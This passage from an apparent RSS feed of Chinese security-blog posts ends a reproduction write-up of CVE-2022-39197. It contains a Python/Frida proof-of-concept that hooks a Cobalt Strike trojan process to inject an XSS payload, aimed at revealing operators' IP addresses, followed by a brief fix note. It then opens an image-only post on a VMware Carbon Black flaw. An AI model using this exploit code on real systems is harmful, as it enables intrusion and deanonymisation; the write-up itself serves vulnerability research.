!important;"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">import</span> time<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">import</span> argparse<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">def</span> <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;overflow-wrap: break-word !important;">spoof_user_name</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;overflow-wrap: break-word !important;">(target,url)</span>:</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#spawn target process</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    print(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;[+] Spawning target process...&#39;</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    pid=frida.spawn(target)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    session=frida.attach(pid)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    js=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;&#39;&#39;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    var payload=&#34;&lt;html&gt;beacon.exe            &lt;object classid=&#39;xxx.xxx.xxx.xxx&#39;&gt;&lt;param name=&#39;xxx&#39;value=&#39;xxx&#39;&gt;&#34;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    payload=Array.from(payload).map(letter =&gt; letter.charCodeAt(0))<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    var Process32Next=Module.findExportByName(&#34;kernel32.dll&#34;, &#39;Process32Next&#39;)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    Interceptor.attach(Process32Next, {<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        onEnter: function(args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            //var hProcessSnap=args[0]<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            var info=args[1];<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            this.info = info;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            //console.log(this.info);<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            this.szExeFile=this.info.add(0x24);<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>           // console.log(this.szExeFile);<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        },<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        onLeave: function(retval) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        if(Memory.readAnsiString(this.szExeFile) == &#39;beacon.exe&#39;)//当进程名称为beacon时修改其名称，可以替换成其他<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        {<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            Memory.writeByteArray(ptr(this.szExeFile), payload)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            console.log(&#34;find beacon.exe write payload&#34;)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        }<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        //console.log(Memory.readAnsiString(this.szExeFile));<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        }<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    });<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    &#39;&#39;&#39;</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#.replace(&#39;<a href="http://127.0.0.1/" target="_blank">http://127.0.0.1/</a>&#39;,url)</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    script = session.create_script(js)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    script.load()<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#resume</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    frida.resume(pid)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    print(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;[+] Let\&#39;s wait for 10 seconds to ensure the payload sent!&#39;</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#wait for 10 seconds</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    time.sleep(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;overflow-wrap: break-word !important;">1000</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#kill</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    frida.kill(pid)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    print(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;[+] Done! Killed trojan process.&#39;</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    exit(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;overflow-wrap: break-word !important;">0</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">def</span> <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;overflow-wrap: break-word !important;">showbanner</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;overflow-wrap: break-word !important;">()</span>:</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;overflow-wrap: break-word !important;">#Thanks <a href="http://patorjk.com/ for creating this awesome banner" target="_blank">http://patorjk.com/ for creating this awesome banner</a></span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    banner=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;&#39;&#39; $$$$$$\            $$\                 $$\   $$\     $$$$$$$$\ $$\                     <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>$$  __$$\           $$ |                $$ |  $$ |    $$  _____|\__|                    <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>$$ /  \__| $$$$$$\  $$$$$$$\   $$$$$$\  $$ |$$$$$$\   $$ |      $$\  $$$$$$\   $$$$$$\  <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>$$ |      $$  __$$\ $$  __$$\  \____$$\ $$ |\_$$  _|  $$$$$\    $$ |$$  __$$\ $$  __$$\ <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>$$ |      $$ /  $$ |$$ |  $$ | $$$$$$$ |$$ |  $$ |    $$  __|   $$ |$$ |  \__|$$$$$$$$ |<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>$$ |  $$\ $$ |  $$ |$$ |  $$ |$$  __$$ |$$ |  $$ |$$\ $$ |      $$ |$$ |      $$   ____|<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>\$$$$$$  |\$$$$$$  |$$$$$$$  |\$$$$$$$ |$$ |  \$$$$  |$$ |      $$ |$$ |      \$$$$$$$\ <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/> \______/  \______/ \_______/  \_______|\__|   \____/ \__|      \__|\__|       \_______|<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>                                                        CVE-2022-39197 PoC by @TomAPU<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>                                                        <br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>                                                        &#39;&#39;&#39;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    print(banner)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>parser = argparse.ArgumentParser(description=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;&#39;&#39;This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users&#39; IP addresses by an exploit of XSS.(Well, clearly I haven&#39;t figure out how to trigger an RCE).<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>Currently, this POC only supports X86 exe payloads, and of course, works on Windows.<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>&#39;&#39;&#39;</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>parser.add_argument(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;-t&#39;</span>, <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;--target&#39;</span>, help=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;target trojan sample&#39;</span>, required=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;overflow-wrap: break-word !important;">False</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>parser.add_argument(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;-u&#39;</span>, <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;--url&#39;</span>, help=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;URL for server to load as img, considering the limit of length, it should be less than 20 bytes&#39;</span>, required=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;overflow-wrap: break-word !important;">False</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">if</span> __name__==<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;__main__&#39;</span>:<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    showbanner()<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    args = parser.parse_args()<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">if</span> args.target <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">and</span> args.url:<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">if</span> len(args.url)&gt;<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;overflow-wrap: break-word !important;">20</span>:<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            print(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;[-] URL should be shorter than 20 bytes :(&#39;</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>            exit(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;overflow-wrap: break-word !important;">-1</span>)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        spoof_user_name(args.target,args.url)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>    <span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">else</span>:<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>        parser.print_help()<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The writing of the frada script will not go into details, it is tired. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">In addition to this method, you can also </span></span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><a href="https://github.com/darkr4y/geacon" target="_blank">https://github.com/darkr4y/geacon</a></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">directly modify and enter the payload based on the open source that has implemented a full set of protocols.</span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x05 Repair suggestion</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">If it is fixed, you can use a temporary pudding posted by Orange Jam on the planet of Cyber Memoirs to turn off the HTML rendering of swing, which can temporarily solve this problem, but I now believe that the next wave of cs RCE may be soon. coming.</span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x06 Summary</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">I really learned a lot in just a few days. I basically don’t understand java at all. Most of the time, I don’t know much about it. I would like to strongly thank the group friends, especially the master panda, for their support, who gave me So much help that my reproduction won&#39;t be too off the chain, if I alone estimate it will take at least two weeks to start. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The whole process involves jdk and cs, and the complexity of the analysis is quite high. I have to say that Beichen is really awesome.</span></span></p><p><br/></p>



<p><a href="https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fa89b5b7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486651%26idx%3D1%26sn%3Dd30ee66476100c985af0ccc3dafed3a5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 27 Sep 2022 15:08:00 +0800</pubDate>
    </item>
    <item>
      <title>VMware Carbon Black Cloud Workload</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486232&amp;idx=1&amp;sn=02d83e8653ee733a989a354dd378f19d</link>
      <description>VMware Carbon Black Cloud Workload appliance update addresses incorrect URL handling vulnerability (CVE-2021-21982)</description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2022-08-28 00:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>VMware Carbon Black Cloud Workload appliance update addresses incorrect URL handling vulnerability (CVE-2021-21982)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6ecfc210&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpusJj9fZ8cId09AFUB9zapjUicHYRL14DIvrlw75uhKcR5AQgBuWfIknA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0em;"><span style="font-size: 14px;">一年前分析过的漏洞，印象很深刻，内部分享的PPT，过生日放出来下 o(*￣▽￣*)ブ<br/></span></p><p style="margin-bottom: 0em;"><span style="font-size: 14px;"></span></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ca0511ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuiaEOlcFOiaoxxWD00dWicbYWIb8uuKiaopsoVia2vzhutYrr6Fv07AsgIsA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ce29e9e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuTVBmJp0uTr83TQviceZmNzlDxYBgtOs7xmgFkPmaiaQSjw0VMoHSJIoQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fc8fe2bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuUA3pmAGibZ3fdP1DMdsBF7ZRwIA8srEqntQPMKBcIOqMYEF9VPHYgTA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1f6958e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuT7v5WWWcpl8ayHd3MAWnkvUMuVvn9jpl4wKRnx1Plb93zJzFibniad9A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9c754224&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpulhDC5zLJIWwQ1GibYCGyWTTQeGSZ1ibKGBHDIPkACSB2EVUrnhiaIicvYw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2fdb6ad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuLqpSxAibk1TyZuXWibMsGIUWJt6ttTN9ak7gtR1yGxPAeUficrFImHpoA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=70b07a03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuDLcSoEBxFiaYndtKjqNvoIUvv1ibdUloT37MZpdjBayPUia0Xx81wBH2g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=73148dae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuXRJ6x7uaWSAVlWUJeE0OiapD3a2boEwcapssfYowuox3DgojJvuqrYQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c4c49ad4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuUdTpsMvzsJ0Tdq96FibRHvzJ8xw3mEFJjPIxsvg4oSRsrPyosk7SUYA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=56e6f4a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuibzmA2b521B1UicGDz8JuzibploeeGiaVas6C9d6Lu8sHuDAxksVoWeQvg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dc4fbf19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuVZUrd8y75VEzepKu5aE49WjibwpGo2XT3elcZiaicP7Vy4lpLlJ6Z4QBA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=86475bcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuPic78YA7dlsyVQ5UYfFtRDRUIftD4sN7OicYxs9ny5H6V0FHVWiaApSCg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=80da9de0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuDQ2uaanXptbtLBQ0CBlIKvcrlb0ZLM1peTTiatUPjhvusx4jDDJA0Ug%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" 